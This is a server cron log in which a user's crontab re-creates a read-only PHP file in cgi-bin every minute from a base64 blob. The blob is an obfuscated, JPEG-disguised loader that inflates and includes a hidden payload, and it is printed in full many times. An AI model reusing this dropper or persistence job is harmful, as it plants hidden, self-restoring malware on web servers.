Sep  6 21:47:01 server CROND[8576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:47:01 server CROND[8577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:48:01 server CROND[8942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:48:01 server CROND[8941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:48:01 server CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:49:01 server CROND[9321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:49:01 server CROND[9322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:49:01 server CROND[9323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:50:01 server CROND[9708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:50:01 server CROND[9709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:50:01 server CROND[9715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:50:01 server CROND[9726]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:50:01 server CROND[9730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:50:01 server CROND[9729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:50:01 server CROND[9732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:50:01 server CROND[9727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:50:01 server CROND[9734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:51:01 server CROND[10659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:51:01 server CROND[10660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:51:01 server CROND[10661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:52:01 server CROND[11036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:52:01 server CROND[11038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:52:01 server CROND[11037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:53:01 server CROND[11401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:53:01 server CROND[11402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:53:01 server CROND[11403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:54:01 server CROND[11765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:54:01 server CROND[11766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:54:01 server CROND[11767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:55:01 server CROND[12152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:55:01 server CROND[12154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:55:01 server CROND[12157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:55:01 server CROND[12155]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:55:01 server CROND[12159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:55:01 server CROND[12156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:55:01 server CROND[12158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:56:01 server CROND[13053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:56:01 server CROND[13056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:56:01 server CROND[13055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:57:01 server CROND[13633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:57:01 server CROND[13634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:57:01 server CROND[13635]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:57:01 server CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:58:01 server CROND[14027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:58:01 server CROND[14026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:58:01 server CROND[14028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:59:01 server CROND[14395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
